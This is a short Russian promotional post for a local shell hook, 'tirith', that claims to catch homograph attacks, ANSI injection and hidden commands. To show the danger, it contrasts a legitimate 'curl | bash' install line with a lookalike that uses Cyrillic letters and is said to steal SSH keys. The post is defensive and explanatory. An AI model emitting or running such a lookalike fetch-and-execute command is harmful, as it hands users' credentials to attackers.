Потому что эти две строки выглядят одинаково:
curl -sSL https://install.example-cli | bash
curl -sSL https://іnstall.example-clі | bash
Одна устанавливает тулзу.
Другая — уводит твои SSH-ключи.
Вот эта і — кириллическая, не латинская. Браузер такое заблокирует. Терминал даже не моргнёт.
Новички копипастят команды из ChatGPT и случайных репозиториев, вообще не задумываясь. Мы буквально в одном
curl | bash от того, чтобы потерять всё.Поэтому и сделали фикс — tirith
Невидимый shell-хук. Он перехватывает омографические атаки, ANSI-инъекции, скрытые команды и перезапись дотфайлов до выполнения.
30 правил. Полностью локально. Никакой телеметрии